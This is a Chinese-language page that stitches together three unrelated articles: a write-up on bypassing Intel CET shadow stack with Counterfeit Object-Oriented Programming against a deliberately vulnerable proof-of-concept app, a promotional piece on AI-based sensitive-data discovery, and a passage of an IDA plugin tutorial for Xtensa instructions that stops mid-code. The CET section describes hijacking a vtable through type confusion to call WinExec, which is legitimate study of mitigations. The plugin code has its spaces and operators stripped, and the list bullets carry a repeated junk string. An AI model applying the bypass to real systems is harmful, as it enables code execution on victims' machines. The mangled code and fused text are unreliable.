我們會在本文中簡要介紹CFI緩解措施的工作原理,包括CET,以及如何利用Counterfeit Object-Oriented Programming (COOP) 在最新Windows版本上有效繞過Intel CET。

Forward-Edge和Backward-EdgeCFI控制流完整性機制可以分為兩大類:Forward-Edge和Backward-Edge。

與Microsoft CFG4一樣,Forward-EdgeCFI通過使用經過驗證的函數地址來保護間接函數調用。例如,如果我們用ROPgadget地址重寫CALL [rax]指令中解引用的指針,CFG將通過發出異常來阻止我們的攻擊。

相反,像Intel的CET5這樣的Backward-EdgeCFI通過將函數的返回地址與存儲在Shadow Stack上的以前保存的地址版本進行比較來保護函數的返回地址。如果原始返回地址在內存被攻擊期間被重寫了,則地址對照( address comparison)將不可避免地失敗,應用程序將被終止。考慮到基於ROP的攻擊在沒有“CALL”指令的情況下執行“RET”指令,運行線程的堆棧和影子堆棧(shadow stack )值不匹配,因此像CET這樣的Backward-EdgeCFI有效地阻止了這種攻擊技術。

Intel CET旨在通過間接分支跟踪(IBT)通過影子堆棧和COP/JOP緩解ROP攻擊。然而,由於後一種技術尚未在Windows上實現,因此在本文中,我們將把“Intel CET”作為僅啟用影子堆棧的實現。

CET當前的實現方式非常無效,因為渲染器進程通常會被利用。儘管CET在瀏覽器上還沒有得到廣泛的執行,但我們應該期待它在未來的每一個進程中都得到執行。

偽造對象Felix Schuster在2015年提出了一種名為偽面向對象編程(COOP)的新代碼重用技術。不過該技術尚未在野外或公開利用被發現。我們寫這篇博文的目的是試圖利用這種理論方法,並在概念驗證中加以實現,以繞過Intel CET。

該技術背後的主要思想是偽造,即用攻擊者控制的有效負載在內存中生成新的對象,並通過目標應用程序或加載庫中已經存在的虛擬函數將它們鏈接在一起。

偽對像中包含的每個虛擬函數稱為vfgadget,負責執行一個小任務。與ROP類似,vfgadget可以執行諸如將值填充到寄存器中之類的任務。然而,當組合在一起時,多個vfgadget可以執行更高級的操作。

由於目前沒有專門的工具可以發現vfgadget,所以可以通過自定義腳本(如idpython)找到它們,使用類似於ROP gadget發現的過程。

由於vfgadget是從CFG有效函數池中選取的,我們可以將它們標記為合法的,一旦我們劫持了其中一個函數的間接調用,它們的執行就不會被CFG阻止。

此外,一個有趣的推論是Intel CET不會被觸發,因為我們不會在順序調用vfgadget的過程中損壞任何函數返回地址。

一個典型的COOP有效載荷從一個充當COOP主要功能的基本vfgadget開始。我們在本文稱之為Looper。一旦攻擊者在內存中集成了偽造對象,Looper vfgadget就會遍歷由攻擊者精心安排的其他vfgadget數組,這些vfgadget將被逐個調用。通過以這種方式對齊偽對像中的vfgadget,我們將能夠以可控的方式調用有效的虛擬函數。

Looper運行後,它可以調用其他負責執行特定操作的vfgadget,如Argument Loaders Invoker和Collector。這些vfgadget將定期存儲在Looper訪問的數組中。

Argument Loader vfgadget通過將值加載到給定寄存器中來填充該寄存器。要加載的值將存儲在偽對像中,位於假對像開始處的偏移位置。

一旦寄存器被一個或多個參數加載器填充,就可以調用Invoker vfgadget來簡單地執行目標API的函數指針。

Collector是一種gadget,用於檢索寄存器中已存在的值,並將其保存回攻擊者的偽造對象即作為從調用的API返回的值。

下圖總結了迄今為止討論的COOP攻擊策略。

1.png

COOP攻擊流

我們可以根據不同的vfgadget的可用性和想要執行的API來安排和混合它們。

為了更好地理解COOP攻擊,讓我們從分析主vfgadget Looper開始。以下彙編代碼提供了Looper COOP vfgadget的簡化版本:

2.png

Looper Gadget相關的ASM代碼

在第一行中,RCX持有this9指針,我們將偽對象的開頭加載到RBX中,該偽對象位於RCX的偏移量0x40處。由於偽對像中的所有項目都將以偏離此指針的偏移量為準,因此我們需要確保在劫持程序流之前保存其值(即通過破壞vtable)。

然後,COOP有效負載基址被解引用到RAX中,RAX指向被調用的第一個vfgadget。一旦調用返回,一個新的vfgadget將從前一個gadget的偏移量0x20處加載,如果RBX的內容不為零,則會進行新的循環迭代。

當在內存中寫入偽造對象時,我們需要預先對齊每個vfgadget以匹配Looper偏移量,類似於下面的佈局:

3.png

內存中的COOP緩衝區

這樣,00000227`26cd8900是COOP有效負載的基址,它存儲在‘this’指針(RCX)的偏移量0x40處。從前面的代碼清單中,我們注意到在_loopstart例程的第一行,指針被解引用到RAX中,而RAX又指向第一個vfgadget。在下一次循環迭代中,Looper通過在前一個循環的偏移量0x20處加載指針來重複相同的任務,並最終調用第二個vfgadget。

當利用真實的目標瀏覽器時,建議依賴Looper vfgadget,因為它比其他vfgadget提供了更多的控制和穩定性。但是,為了簡潔起見,我們在編寫易受攻擊的應用程序時只使用了一個Invoker vfgadget,它只接受一個參數。

在介紹了COOP的基本理論之後,讓我們繼續開發一個由CET編譯的概念驗證應用程序,該應用程序是我們為展示COOP攻擊而開發的。

與COOP繞過CET影子堆棧我們編寫的易受攻擊的應用程序是用CET和CFG以及默認啟用的DEP編譯的。

首先,為了驗證CET是否真的被強制執行,我們在printf上放置一個斷點,檢查調用堆棧,覆蓋返回地址並恢復執行。

4.png

驗證CET的執行

當收到一個涉及無效返回地址的Shadow Stack異常提示,就代表CET被啟用了。

由於CET是一種硬件強制緩解,為了觸發上述漏洞,我們至少需要一個英特爾虎湖( Tiger Lake )十一代酷睿CPU。

為了模擬瀏覽器漏洞,我們可以利用執行應用程序時自動觸發的應用程序中的類型混淆漏洞來獲得RIP控制。

當我們點擊該漏洞的觸發器時,vtable指針會被我們的輸入損壞,導致我們可以控制的間接調用。然後我們劫持vtable,使其指向第一個(也是唯一一個)vfgadget所在的COOP緩衝區。如上所述,為了簡潔起見,我們沒有使用帶有嵌套vfgadget的Looper,而是選擇使用一個同時具有Invoker和Argument Loader組件的gadget。

作為該漏洞自動利用的一部分,為了獲取vfgadget的‘this’指針,我們洩漏了堆棧指針,並將‘this’指針作為堆棧的靜態偏移量進行檢索。

一旦我們獲得了‘this’指針地址,我們就準備好要調用的WindowsAPI的地址及其參數。這是通過在偽對象內以所需偏移量寫入Windows API地址和參數來實現的。

在更詳細地研究COOP有效負載之前,讓我們先通過不帶任何參數運行PoC來理解它的語法。

5.png

獲取PoC的語法

應用程序接受四個參數:一個指向偽造對象(COOP)緩衝區的指針、vfgadget地址、Windows API地址及其參數。該助手顯示了兩個簡單的用例,但可以將其擴展為調用任何CFG允許的API(如果應用程序是用它編譯的)。

由於Windows DLL將在隨機基址加載,因此需要預先計算所需的API地址。

讓我們首先檢查與vfgadget相關的對象的C++代碼,然後從編譯的二進製文件探索其相應的程序集:

6.png

我們從中派生vfgadget的' trigger '方法

項目中的OffSec類包含一個觸發器方法,它充當一個C風格的函數指針,我們可以使用它來調用任何我們喜歡的API。然後,在主程序例程中實例化“OffSec”類,以便將其與方法一起加載到內存中。

仔細查看反彙編程序中的Invoker可以發現一些有趣的方面。

7.png

調用程序vfgadget

從第二行到第四行,RCX引用的‘this’指針首先存儲在堆棧中,然後移動到RAX中。接下來,從RAX偏移量0x10處的值被解引用並移動到RAX中。此值將是駐留在偽對像中的API函數指針。然後,在第7行和第8行,第一個函數參數從‘this’指針偏移量0x8處解引用,並移到RCX中。

我們很快就會發現,一旦我們從命令行提交了參數,易受攻擊的應用程序就會處理這些偏移。

在介紹了攻擊鏈的主要構建塊之後,讓我們嘗試通過傳遞四個參數來運行PoC,以獲得代碼執行:

8.png

運行帶有所有參數的PoC應用程序

通過上述命令,我們提供了以下參數:00001e000000作為偽對象的存儲緩衝區,5086014001000000作為Invoker vfgadget,40610fecfb7f0000是WinExec內存地址。作為最後一個參數,我們傳遞WinExec字符串參數。請注意,所有內存地址都是以little-endian格式傳遞的。

一旦啟動,應用程序立即停止,允許我們將調試器附加到它。在這樣做之前,我們啟動Process Explorer以驗證二進製文件實際上在啟用Intel CET的情況下運行。

9.png

驗證是否已使用Process Explorer啟用CET

在“堆棧保護”欄下,Process Explorer確認僅對CET兼容模塊強制執行CET,這意味著將對使用CET編譯的任何模塊強制執行緩解。附加調試器後,我們將斷點放置到主函數中唯一的間接調用,然後繼續執行。

10.png

間接調用時中斷

我們在main+0x3d2處放置了一個斷點,並驗證了在該地址確實有一個間接調用。接下來,我們將轉儲位於靜態地址0x1e0000的偽造對象的內容,該地址包含指向位於0000000 1400186a0的vfgadget的指針。

在main+0x3d2是類型混淆錯誤引發的地方,允許我們控制RIP。一旦到達斷點,我們就檢查駐留在COOP緩衝區中的值,它應該是第一個Invoker vfgadget。我們讓應用程序繼續運行,並驗證我們確實達到了斷點。

11.png

登錄第一個COOP vfgadget

在跟踪到CFG ldrpdispatchusercalltarget例程之後,我們跳轉到Invoker vfgadget ' OffSec:trigger ',證明我們已經控制了程序的執行流。然後我們繼續在vfgadget中進行跟踪:

12.png

將‘this’ 指針移動到RAX中

在上面的清單中,Invoker首先將‘this’指針從RCX保存到堆棧中,我們還驗證它是否指向COOP緩衝區的底部。在最後一條指令中,‘this’ 指針被加載到RAX中,RAX將用作調用API及其參數的引用:

13.png

通過‘this’ 指針加載WinExec參數

首先,在偏移量0x10處,我們可以看到WinExec地址被加載到RAX中,然後,在三條指令之後,命令參數被檢索到偏移量0x8處。

如果執行繼續,我們將再次調用LdrpDispatchUserCallTarget,它依次將執行分派給WinExec。

14.png

成功調用WinExec

這就完成了我們的簡單概念證明,我們介紹了通過調用CFG允許的函數,同時避免損壞任何返回地址,可以繞過Intel CET Shadow Stack並通過COOP攻擊獲得任意代碼執行。

此PoC應用程序的Visual Studio項目可以在這個URL中找到。

總結Intel CET提供了另一種強大的防禦機制,儘管如此,攻擊者可以採用新的攻擊途徑,如COOP來繞過這種緩解措施。

數據是現代企業的新石油:正確使用它可以促進公司的發展並幫助企業在競爭中領先。就像石油一樣,原始數據和未被發現的數據是毫無用處的,企業將無法從中受益;在最壞的情況下,它可能會導致安全事件。這也是企業投資敏感數據發現和保護解決方案的原因。

傳統的數據發現工具由數據掃描儀和基於規則的算法提供支持,這些工具通常不足以掌握不斷增長的新數據流。因此,許多企業利用人工智能(AI) 增強其數據發現和保護解決方案。

在本文中,我們將討論基於規則係統的主要缺點以及使用人工智能發現和保護敏感數據的好處、典型的數據發現和保護解決方案的工作原理,還分享有Apriorit 經驗中的開發技巧。

敏感數據發現如何影響企業安全將敏感數據保存在一個安全的存儲位置似乎是一項容易的任務,但實際上對於許多企業來說幾乎是不可能的。在COVID-19 大流行期間過渡到遠程或混合工作、將本地環境遷移到雲或經歷合併和收購過程,可能會導致敏感數據存儲在最不明顯的地方。此類數據會受到網絡安全解決方案的關注,並增加數據洩露或安全事件的風險。

存儲在企業控制和安全邊界之外的數據會帶來數據盜竊或數據洩漏等安全事件的風險。這就是企業投資敏感數據發現軟件的原因——用於檢測、識別和組織所有組織資源和環境中的記錄的工具。

實施這樣的解決方案可以讓企業:

马云惹不起马云 確保遵守網絡安全法

马云惹不起马云防止數據被盜和洩露

马云惹不起马云進行數據驅動的網絡安全改進

马云惹不起马云提高數據管理效率

image.png

跨不同環境和基礎設施控制敏感數據的需求不斷增長,導致數據發現軟件越來越受歡迎。事實上,全球敏感數據發現市場預計將從2020 年的51 億美元增長到2026 年的124 億美元。

敏感數據保護髮現和工具對於以下行業中處理敏感信息的企業尤其重要:

马云惹不起马云 金融科技

马云惹不起马云零售與電子商務

马云惹不起马云衛生保健

马云惹不起马云保險

马云惹不起马云運輸與物流

马云惹不起马云人力資源和客戶服務

马云惹不起马云軟件開發

然而,傳統的數據發現解決方案無法始終跟上現代公司生成新記錄的速度。接下來,我們來看看這些工具的主要弱點和局限性。

為什麼傳統的數據發現工具不夠用雖然用於數據發現和保護的專用工具可提供許多業務優勢,但管理它們並將其集成到現有的公司係統中可能具有挑戰性。

以下是基於規則的數據發現的主要缺點:

image.png

1.發現過程緩慢基於規則的系統通常依賴數據庫和存儲掃描器來發現新記錄。他們花費大量時間來分析集成的存儲實例,必須進行一一掃描。如果在掃描期間添加新記錄,該工具將不會發現它,直到完成當前掃描並開始新掃描。此外,掃描儀必須在每次掃描期間檢查所有記錄,包括自上次掃描以來未更改的記錄。

2.非結構化記錄的發現能力較差基於規則的工具可以輕鬆發現數據庫、日誌和電子表格等結構化數據源中的敏感記錄。當涉及非結構化數據源(電子郵件、文本文檔、社交媒體)時,發現的準確性會顯著下降,因為非結構化記錄分散且不一致。使用非AI 解決方案掃描此類數據源通常會提供不可靠且不完整的結果,考慮到企業生成的約90% 的數據是非結構化的,這一點尤其重要。

3.需要大量的手動輸入為了成功使用基於規則的系統,企業必須執行大量手動活動:設置配置、指定掃描和分類規則以及正則表達式、查看結果等等。大量手動輸入會增加引入人為錯誤的機會。使用基於規則的系統也不能消除手動發現系統無法識別的數據(例如上面討論的非結構化記錄)的需要。

4.分類保護錯誤當數據沒有被正確、完整地發現時,任何工具都很難對其進行分類:確定敏感記錄的類型、計算風險評分並分配所需的網絡安全措施。敏感數據分類不正確可能會使記錄不受保護,從而導致數據被盜和合規違規。

5.缺乏網絡安全背景基於規則的系統收集有關數據發現的有限數據。通常,它們受到發現的數據類型及其位置的限制。為了檢查工具的發現和分類性能,網絡安全專家必須手動評估新記錄並收集缺失的上下文,然後才能做出最終決定。

這些限制源於基於規則的系統的核心算法,這就是為什麼即使是經驗豐富的開發人員和系統管理員也難以克服它們。對於存儲空間相對較小、每天不會創建大量數據並且擁有可用IT 資源來管理髮現過程的組織來說,使用此類系統是有益的。

如果有嚴格的網絡安全要求,並且需要更多背景信息來發現和保護數據,請考慮選擇基於人工智能的工具。採用強大的基於人工智能的系統可以滿足敏感數據保護和網絡安全合規性方面的許多業務需求。

為什麼使用人工智能進行數據發現和保護使用人工智能進行數據發現和保護可以顯著提高數據發現和保護解決方案的準確性和可靠性。企業可以在數據發現過程中使用各種人工智能模型和技術來獲得以下優勢:

image.png

1.識別非結構化數據與基於規則的系統不同,基於人工智能的解決方案可以識別結構化和非結構化數據中的敏感記錄。借助大型語言模型(LLM) 和自然語言處理(NLP),此類解決方案可以檢測信件、聊天日誌、文本文件以及其他無法由規則完全定義的來源中的敏感信息。

對非結構化數據的分析使人工智能驅動的敏感數據發現工具變得可靠,並有助於提高組織的整體網絡安全態勢。

2.實時檢測新記錄人工智能算法不需要迭代掃描可用環境來發現新數據。相反,他們可以分析新的和編輯的記錄,從而顯著加快檢測速度並避免瓶頸。一些敏感數據發現工具既使用基於規則的掃描進行常規數據檢查,又使用人工智能模型來更準確地分析非結構化記錄。

3.增強流程自動化基於人工智能的工具可以可靠地自動化數據發現、分類和保護期間的大多數活動。初始配置後,他們很少需要手動輸入和額外的調整。高水平的自動化可以幫助企業加快數據發現速度,並將網絡安全專家從日常任務中解放出來,使他們能夠專注於需要其專業知識的挑戰。

4.正確分類和保護數據由於能夠理解數據的含義和上下文,人工智能可以準確地對發現的任何存儲格式的記錄進行分類。正確的分類和敏感度分數允許人工智能選擇相關的記錄,並採取相應的安全措施,改善組織的安全狀況並遵守相關的安全要求。

5.從數據分析中獲得見解由人工智能驅動的數據發現解決方案會生成並收集大量與其工作相關的數據,包括新敏感記錄的性質和位置、分類結果以及常見的數據安全策略違規行為。此類軟件可以使用這些數據創建儀表板,幫助安全專家快速評估和改進發現和保護流程。

該解決方案還可以創建有關最近事件和數據保護狀態的自動報告,這些報告對於深入評估組織的安全性和通過合規性審核非常有用。

使用人工智能進行數據發現可以將數據發現解決方案提升到一個新的水平,並提高組織的網絡安全性。然而,以高效且經濟高效的方式實施它需要在網絡安全領域使用人工智能的經驗。

人工智能數據發現和保護工具如何工作用於數據發現和保護的高級解決方案可以執行從文件掃描到數據分析和風險報告的各種活動。此類工具可能完全基於人工智能算法或具有附加人工智能功能的基於規則的系統。

雖然每個解決方案都有自己的殺手級功能和工作流程,但可以將大多數基於人工智能的工具所經歷的數據發現過程概述為以下關鍵階段:

image.png

1.數據掃描AI 解決方案持續監控它可以訪問的環境以獲取新數據:雲和本地服務器、數據庫、設備驅動器等。數據發現和保護解決方案的管理員可以配置它應查找的數據類型並提供對實例的訪問它應該監控。

掃描通常包括以下關鍵步驟:

马云惹不起马云 監控可訪問存儲實例的更改和新記錄

马云惹不起马云識別潛在敏感記錄

马云惹不起马云準備非結構化數據進行處理

當解決方案發現包含潛在敏感數據的文件時,它會嘗試對其進行分類。

2.數據分類和標記根據其配置,軟件可以通過以下方式對發現的記錄進行分類:

马云惹不起马云敏感數據的類型。該解決方案可以識別個人、財務或製造數據以及知識產權。在這個階段使用LLM和NLP等人工智能技術有助於對非結構化數據進行高精度分類。

马云惹不起马云敏感度得分。該解決方案可以根據數據的性質、位置、所應用的保護措施和其他因素來計算發現的記錄的敏感程度。此分數有助於解決方案決定在後續處理階段如何處理數據以及何時需要通知系統管理員。

分類完成後,解決方案會為發現的記錄分配標籤。標籤通常包括數據類型、與其交互所需的訪問級別以及限制級別。解決方案管理員還可以創建自定義標籤。

3.保護數據發現軟件為保護其發現的數據而採取的步驟完全取決於組織的網絡安全標準和環境、適用的法規等。通常,人工智能驅動的軟件可以實施以下數據保護措施:

马云惹不起马云加密

马云惹不起马云准入政策

马云惹不起马云將數據傳輸到更安全的存儲

马云惹不起马云去識別化和匿名化

马云惹不起马云數據脫敏

4.警報和分析除了持續的發現和保護過程之外,還可以使用人工智能算法來處理他們收集的數據並編譯有用的儀表板:

马云惹不起马云當前需要管理員解決的安全威脅

马云惹不起马云各種數據記錄和存儲實例的風險評分

马云惹不起马云常見的數據保護違規行為,這可能表明有害的用戶行為和安全策略中的漏洞

马云惹不起马云應用保護與合規性要求之間的不一致

此類數據分析和可視化能夠檢測企業保護中的薄弱環節並改進安全策略。

儘管數據發現和保護軟件幾乎可以完全自動工作,但網絡安全專家必須概述其決策,以確保充分的數據保護。當此類軟件發現敏感度較高或存在較多安全風險的新記錄時,它可以通知管理員。然後,管理員可以查看解決方案分配的保護措施,並根據需要進行更改。

如何應對人工智能驅動的數據發現的關鍵挑戰構建自定義數據發現和保護工具總是會面臨針對客戶群體、需求和合規性要求所特有的挑戰。

image.png

1.相關數據存儲集成為了能夠發現所有敏感數據,工具需要訪問和讀取組織所有環境中的記錄。但是,為所有可能的雲和本地存儲實例添加API需要開發人員花費大量時間,並且可能會引入安全漏洞。在開始開發之前,會採訪客戶的利益相關者,以了解他們的環境,僅添加他們需要的集成,並保護已實施的API。

2.可靠的開發組件使用第三方組件可以顯著加快開發過程,但也會增加在解決方案中添加後門的風險。為了找到開發時間和安全性之間的平衡,將會測試第三方軟件並使用已知漏洞數據庫對其進行檢查,然後再將其添加到客戶的解決方案中。

如果解決方案使用GPT或Claude等商業語言模型,可以創建一個私有數據庫來訓練它或在本地部署模型,以避免與其他公司共享數據。

3.均衡的資源利用與任何基於人工智能的解決方案一樣,持續的數據發現可能非常消耗資源,特別是當企業不斷生成大量數據時,這可能會導致高昂的雲使用成本或需要維護強大的本地計算機。為了避免開發和維護成本飆升,採用了敏捷和DevOps實踐,優化AI性能以消除不必要的操作,並實施靈活的擴展機制。

4.安全配置人工智能數據發現和保護工具需要訪問和管理其管理環境中的任何記錄。這些記錄可能會被黑客或內部人員濫用,以尋求訪問敏感數據而不被注意到的方法。限制工具的安全權限將阻礙其效率,因此,會尋求性能和安全性之間的平衡:配置對記錄的即時訪問、發現數據時匿名化、為管理員添加數據操作通知等。

5.人工智能偏見任何基於人工智能的解決方案都會帶有其開發人員和訓練數據集的偏見。

對於數據發現和保護解決方案,這種偏差可能會導致數據分類不正確或安全措施執行不足。在產品發布之前檢測人工智能偏差的最可靠方法是通過廣泛的測試。

培養人工智能、網絡安全和數據管理等複雜軟件開發領域的專業知識。憑藉為來自嚴格監管行業的客戶構建定制解決方案的經驗,可以儘早概述關鍵的開發挑戰並提供克服這些挑戰的方法。

結論數據發現和保護工具是任何企業網絡安全的重要組成部分,因為它們為可靠的數據安全和管理奠定了基礎。此類工具可以跨任何云、本地和混合基礎設施發現敏感數據,並根據企業的策略和合規性要求實施網絡安全措施。

通過人工智能增強數據發現和保護,將此類解決方案提升到一個新的水平。與基於規則的系統相比,人工智能可以發現非結構化數據並對其進行分類,犯的錯誤更少,不需要大量的手動輸入,並可以收集數據以用於未來的安全改進。

但要構建人工智能驅動的數據發現解決方案並安全地部署它,用戶需要聘請網絡安全、人工智能開發和數據管理方面的專家。

在逆向工程過程中,您可能會遇到可用工具尚不支持您正在使用的架構的情況。

在本文中,我們將探討這樣的案例並展示擴展IDA 功能的示例。我們探索如何實現IDA 插件來反彙編新的Xtensa 指令。

為什麼要創建自定義IDA 插件?在我們之前的一篇文章中,我們討論了研究固件架構的重要性。在這種情況下,我們設法找到了一個支持我們需要分析的設備架構的反彙編工具。現在,我們想要解決逆向工程工具不支持您在項目中使用的架構的問題。讓我們以IDA 為例來探討本文。

交互式反彙編器(IDA)是一種軟件反彙編器,可從機器可執行代碼生成彙編語言源代碼並執行自動代碼分析。該逆向工程工具通過眾多插件提供廣泛的反彙編和調試功能。

IDA 還使用一組稱為處理器模塊的插件將原始字節代碼轉換為反彙編文本。每個插件都是針對特定的硬件架構設計的。

由於反彙編插件的可用性很大程度上取決於架構的流行程度,因此某些處理器模塊的更新頻率比其他模塊要高。而對新指令的支持可能需要IDA 開發人員花一些時間才能實現。

那麼,如果您當前正在使用的架構沒有插件,您該怎麼辦?

好消息是,無需等待IDA 開發人員實現對特定指令集的支持。您可以自己創建自定義IDA 插件,也可以使用Python 通過IDA SDK 實現相關插件。

讓我們探討一個實現逆向工程IDA 插件的示例,並使用新的Xtensa 架構指令,在撰寫本文時,IDA 7.7 尚不支持這些指令。由於這些指令未在IDA 中反彙編,因此您將它們視為原始字節:

image.png

屏幕截圖1. Xtensa 指令在IDA 中顯示為原始字節

但如果您使用其他支持反彙編新Xtensa指令的軟件,例如Lauterbach Trace32模擬器,您可以看到這些字節是商無符號(QUOU)指令:

image.png

屏幕截圖2.Xtensa 指令看起來像Lauterbach Trace32 模擬器中的QUOU 指令

一旦知道這些字節是什麼,您就可以找到QUOU 指令的描述並實現IDA 插件來擴展現有處理器模塊的功能。讓我們探討一下如何做到這一點。

使用新插件向IDA 處理器模塊添加指令讓我們使用NECromancer插件,它為NEC V850 CPU 擴展了IDA 的處理器模塊。

使用此插件的目標是掛鉤處理器模塊的事件處理程序並執行您自己的處理例程而不是現有的處理例程。該插件將允許處理器模塊處理默認情況下無法處理的未知指令。

讓我們看一下一個空插件。以下是在IDA 引擎中註冊插件並掛接處理器模塊所需的最少代碼:

(Python)

classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''wanted_hotkey=''help='AddssupportforadditionalXtensainstructions'wanted_name='XtensaESP'def__init__(self):self.prochook=Nonedefinit(self):ifph_get_id()!=PLFM_XTENSA:returnPLUGIN_SKIPself.prochook=xtensa_idp_hoo k_t()self.prochook.hook()print('%sinitialized.'%XtensaESP.wanted_name)returnPLUGIN_KEEPdefrun(self,arg):passdefterm(self):ifself.prochook:self.prochook.unhook()#--------------------------------------------------------------------------defPLUGIN_ENTRY():returnXtensaESP()為了確保IDA 僅在加載Xtensa CPU 處理器模塊時運行該插件,該插件會執行以下檢查:

ifph_get_id()!=PLFM_XTENSANECromancer 插件還需要xtensa_idp_hook_t掛鉤類來安裝處理器模塊事件的處理程序。鉤子類主體如下所示:

classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defev_ana_insn(self,insn):passdefev_out_mnem(self,outctx):passdefev_out_operand(self,outctx,op):pass該代碼片段的關鍵元素是:

ev_ana_insn方法,幫助您分析字節碼並創建指令類

ev_out_mnem方法,允許您創建指令的可視化表示,即生成反彙編文本

ev_out_operand方法,實現指令操作數生成為文本以便反彙編

讓我們一一實現這三種方法。

1. 實現ev_ana_insn方法使用NECromancer 插件的目標是添加對QUOU(無符號商)指令的支持。這意味著您需要知道CPU 實際上如何解析表示QUOU 指令的字節。

您可以在Xtensa 指令集架構(ISA) 參考手冊[PDF]中找到此信息:

指令詞:

image.png

所需的配置選項:32 位整數除法選項。

彙編語法:QUOU ar, as, at

說明:將地址寄存器的內容除以地址寄存器的內容QUOU進行32 位無符號除法,並將商寫入地址寄存器。如果地址寄存器的內容引發整數除以零異常而不是寫入結果。 asatarat0, QUOU

在這種特殊情況下,您不需要詳細了解指令的作用。目標是了解CPU 如何知道一組字節實際上是QUOU 指令。

IDA 將這條QUOU 指令顯示為字節序列:0xC0,0x22,0xC2。指令的第一個字節0xC0——在文檔中表示如下:

image.png

讓我們解釋一下這意味著什麼:

1、標記為的頂部四個字節t的值為0xC。

2、低四個字節始終等於0。

3、的值t是用作指令第三個參數的寄存器的索引。

4、0xC=12,這意味著第三個參數是a12。

指令的第二個字節指定了另外兩個標記為r和的參數s:

image.png

在我們的例子中,第二個字節是0x22,這意味著r=0x2和s=0x2。因此,第一和第二操作數都是a2。

最後,第三個字節是0xC2。根據文檔,它始終是一個常量:

image.png

由於1100 0010=0xC2,您可以使用該字節來識別QUOU 指令。

現在,一切準備就緒,可以開始實現ev_ana_insn方法了。

首先,創建新的指令ID,這將允許IDA引擎區分新指令和現有指令:

classNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)其次,讓我們使用從值開始的IDCUSTOM_INSN_ITYPE。

最後,運行指令分析方法,如下所示:

defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3returnTruereturnFalse我們來解釋一下這段代碼的作用:

get_bytes()函數從IDA 期望的下一條指令的地址處的二進製文件中讀取原始字節。

然後,它檢查指令字節是否實際上看起來像QUOU 指令。

在這種情況下,我們檢查第三個字節0xC2和較低的4 個字節是否0在第一個字節中,如文檔中所定義。最後,您需要使用有關QUOU 指令的信息填充ev_ana_insn方法的insn參數:至少指定指令ID 和指令大小(以字節為單位)。

然後,如果ev_ana_insn方法能夠在建議地址找到指令,則它必須返回True ;否則,它必須返回False。

即使您將努力保持在絕對最低限度(如上所示),IDA 也已經能夠識別新指令。但我們還想向您展示如何讓IDA 也了解指令參數,否則指令將顯示為沒有參數。為此,您需要對ev_ana_insn()方法進行改進:

defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalse這段新代碼實現了指令參數的定義。這些是代碼從指令字節中提取的r、s和值。

解析完成後,就可以設置反彙編文本的輸出了。

2. 實現ev_out_mnem方法要生成反彙編文本,您可以完全重用ev_out_mnem方法的NECromancer 插件的現有代碼:

DEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_IT YPE+2)lst={NN_quou:'quou'}defev_out_mnem(self,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinN ewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:howcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalse我們來解釋一下這個例子的要點:

ev_out_mnem從NewInstructions類獲取指令名稱並andoutctx.out_line在IDA 反彙編窗口中顯示文本。

標誌DEBUG_PLUGIN改變文本的顏色。您可以將其設置為默認顏色或宏的顏色,以使新指令脫穎而出,這在調試插件時非常方便。

ev_out_mnem輸出八個空格,為引擎輸出指令參數做好準備。因此,所有內容——代碼、空格、代碼註釋——都將被對齊。

3. 實現ev_out_operand方法要實現指令操作數的生成,您還可以重用ev_out_operand方法的現成代碼:

defev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:ifop.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse此代碼檢查該指令是否是您之前添加的指令。如果指令包含參數,則需要打印操作數。然後,您將獲得寄存器的名稱,插件將打印它。

現在,所有準備工作都已完成,您可以開始測試您創建的插件。

測試插件將插件放在\IDA\plugins目錄中,以便IDA 可以運行它。然後,加載包含未定義字節的IDA數據庫,將光標置於其上,然後按C創建指令:

image.png

屏幕截圖3. 在IDA 中創建新的QUOU 指令

添加對QUOU 指令的支持後,IDA 每當遇到該指令時都會自動識別該指令。此處指令的顏色與其他指令的顏色不同,因為我們DEBUG_PLUGIN在此示例中啟用了該標誌。如果您決定禁用該標誌,指令的顏色將與代碼的其餘部分相同。

我們示例的完整NECromancer 插件源代碼如下:

fromida_linesimportCOLOR_INSN,COLOR_MACROfromida_idpimportCUSTOM_INSN_ITYPE,IDP_Hooks,ph_get_regnames,ph_get_id,PLFM_XTENSAfromida_bytesimportget_bytesfromida_idaapiimportplugin_t,PLUGIN_PROC,PLUGIN_HIDE,PLUGIN_SKIP,PLUGIN_KEEPfromida_uaimporto_displ,o_reg,o_ imm,dt_dword,OOF_ADDRfromstructimportunpackDEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_muluh)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)lst={NN_quou:'quou',NN_muluh:'muluh'}#------------ --------------------------------------------------------------classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defdecode_instruction(self,insn):buf=get_bytes(insn.ea,3)#print('%08Xbytes%X%X%X'%(insn.ea,buf[2],buf[1],buf[ 